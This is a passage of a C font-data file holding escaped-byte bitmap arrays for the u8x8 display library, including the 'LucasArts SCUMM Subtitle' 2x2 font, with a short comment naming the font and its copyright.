\"\\0\\0\\0\\0\\340\\70\\14\\306r\\32\\12\\32r\\306\\14\\70\\340\\0\\0\\0\\3\\16\\30\\61',(,'\\61\\30\\16\"\n  \"\\3\\0\\0\\0\\70,\\346\\2\\2\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70(/  /(\\70\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70,&\\62\\232\\312z\\62\\206\\314x\\0\\0\\0\\0\\0\\70,&#),.+)(\\70\\0\"\n  \"\\0\\0\\0\\0\\70,&\\362ZJz\\62\\206\\314x\\0\\0\\0\\0\\0\\16\\32\\62'-)/&\\60\\31\\17\\0\"\n  \"\\0\\0\\0\\0\\200\\300`\\60\\230\\314\\346\\2\\2\\376\\0\\0\\0\\0\\0\\0\\7\\4\\4\\5\\5\\5=  =\\7\\0\"\n  \"\\0\\0\\0\\0\\376\\202\\202\\272\\252\\252\\252*j\\312\\216\\0\\0\\0\\0\\0\\16\\32\\62&,(-'\\60\\30\\17\\0\"\n  \"\\0\\0\\0\\0\\370\\14\\6\\62\\272\\252\\272\\62f\\354\\270\\0\\0\\0\\0\\0\\17\\30\\60'-(-'\\60\\30\\17\\0\"\n  \"\\0\\0\\0\\0\\16\\12\\12\\312j:\\232\\312b\\62\\36\\0\\0\\0\\0\\0\\0\\0\\0\\77  \\77\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0x\\314\\206\\62zJz\\62\\206\\314x\\0\\0\\0\\0\\0\\17\\31\\60&/)/&\\60\\31\\17\\0\"\n  \"\\0\\0\\0\\0\\370\\214\\6r\\332\\212\\332r\\6\\14\\370\\0\\0\\0\\0\\0\\16\\33\\63&.*.&\\60\\30\\17\\0\"\n  \"\\0\\0\\0\\0\\360\\220\\220\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\22\\22\\36\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-LucasArts SCUMM   Subtitle   Roman-Medium-R-Normal--16-160-72-72-P-88-ISO10646-1\n  Copyright: Copyright Goatmeal 2013\n  Glyphs: 89/95\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_f[7076] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_r_2x2_f\") = \n  \" \\374\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0<\\376\\376<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\15\\15\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\16\\16\\0\\0\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@l<\\34\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\70\\34\\16\\0\\0\\0\\0\\0\\0\\0\\16\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\370\\34\\6\\2\\2\\2\\6\\34\\370\\340\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\14\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\17\\17\\10\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\14\\6\\2\\202\\302f<\\30\\0\\0\\0\\0\\0\\0\\0\\10\\14\\16\\13\\11\\10\\10\\10\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\14\\6BBB\\346\\274\\30\\0\\0\\0\\0\\0\\0\\0\\2\\6\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`\\60\\30\\14\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\17\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0>>\\42\\42\\42\\42b\\302\\202\\0\\0\\0\\0\\0\\0\\0\\2\\6\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\370\\374f\\42\\42\\42f\\314\\210\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\2\\302\\342\\62\\32\\16\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\30\\274\\346BBB\\346\\274\\30\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70|\\306\\202\\202\\202\\306\\374\\370\\0\\0\\0\\0\\0\\0\\0\\2\\6\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\26\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\14\\6\\2\\202\\302f<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\13\\13\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\274\\216\\216\\270\\340\\200\\0\\0\\0\\0\\0\\10\\14\\17\\13\\0\\0\\0\\0\\0\\0\\13\"\n  \"\\16\\10\\0\\0\\0\\2\\376\\376BBf\\374\\230\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\370\\34\\6\\2\\2\\2\\6\\14\\36\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\4\\2\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\2\\2\\2\\6\\34\\370\\340\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376B\\342\\362\\2\\6\\16\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\10\\11\\10\\14\\16\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376B\\342\\362\\2\\6\\16\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\10\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\370\\34\\6\\2\\2\\202\\206\\214\\236\\200\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\4\\17\\17\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376B@@B\\376\\376\\2\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\10\\17\\17\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\376\\376\\2\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\15\\10\\14\\17\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376b\\360\\230\\16\\6\\2\\2\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\1\\13\\16\\14\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\10\\10\\10\\10\\14\\16\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\16<\\360\\300\\360<\\16\\376\\376\\2\\0\\0\\0\\10\\17\\17\\10\\0\\0\\1\\0\\0\\10\\17\"\n  \"\\17\\10\\0\\0\\0\\2\\376\\376\\16\\70\\340\\200\\2\\376\\376\\2\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\3\\16\\17\\17\\10\"\n  \"\\0\\0\\0\\0\\0\\340\\370\\34\\6\\2\\2\\2\\6\\34\\370\\340\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376BBBf<\\30\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\370\\34\\6\\2\\2\\2\\6\\34\\370\\340\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\34\\70,'\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376BBB\\346\\274\\30\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\10\\17\\17\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\30<&fB\\302\\202\\204\\16\\0\\0\\0\\0\\0\\0\\0\\16\\4\\10\\10\\10\\14\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\16\\6\\2\\376\\376\\2\\6\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\2\\0\\0\\2\\376\\2\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\14\\10\\10\\14\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2>\\376\\302\\0\\0\\302>\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\16\\16\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2>\\376\\302\\0\\302\\376\\376\\302\\0\\0\\302>\\2\\0\\0\\0\\0\\1\\17\\16\\17\\1\\1\\17\\16\\16\"\n  \"\\1\\0\\0\\0\\0\\2\\6\\16\\32\\260\\340\\340\\260\\32\\16\\6\\2\\0\\0\\0\\0\\10\\14\\16\\13\\1\\0\\0\\1\\13\\16\\14\"\n  \"\\10\\0\\0\\0\\0\\2\\16>r\\300\\300r>\\16\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\16\\6\\202\\302\\342r:\\36\\16\\0\\0\\0\\0\\0\\0\\0\\16\\17\\13\\11\\10\\10\\10\\14\\16\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\14\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0@`    \\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\11\\11\\11\\15\\7\\17\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376`  `\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\4\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`   `@\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\4\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`  b\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\4\\17\\17\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`   \\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\15\\11\\11\\11\\15\\4\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\374\\376\\42\\42\\16\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`   p\\320\\220\\0\\0\\0\\0\\0\\0\\0\\61;fDDDj\\71\\61\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376@  `\\300\\200\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\10\\17\\17\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\354\\354\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\354\\354\\0\\0\\0\\0\\0\\0\\0\\0\\0 `@@`\\177\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\2\\0\\240`  \\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\12\\1\\1\\13\\16\\14\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\340\\340@ \\340\\300` \\340\\300\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\17\\17\\10\\0\\17\\17\"\n  \"\\10\\0\\0\\0\\0 \\340\\340@  \\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\17\\17\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`   `\\300\\200\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\340\\340@  `\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\204\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`  @\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\204\\377\\377\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\340\\340\\300`  \\340\\300\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\340\\240  @\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\5\\11\\11\\13\\17\\6\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\370\\374  \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\10\\10\\4\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\340\\340 \\0\\0 \\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\14\\10\\10\\4\\17\\17\\10\\0\"\n  \"\\0\\0\\0\\0\\0 `\\340\\240\\0\\0\\240\\340` \\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\16\\16\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 `\\340\\240\\0\\0\\240\\340\\340\\240\\0\\0\\0\\240`\\0\\0\\0\\1\\7\\16\\16\\7\\1\\1\\7\\16\"\n  \"\\10\\6\\1\\0\\0  `\\340\\200\\0\\200\\340`  \\0\\0\\0\\0\\0\\10\\10\\14\\16\\3\\1\\3\\16\\14\\10\\10\"\n  \"\\0\\0\\0\\0\\0 `\\340\\240\\0\\0\\0 \\340  \\0\\0\\0\\0\\0 `@Ac>\\34\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340`  \\240\\340` \\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\16\\13\\11\\10\\14\\16\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  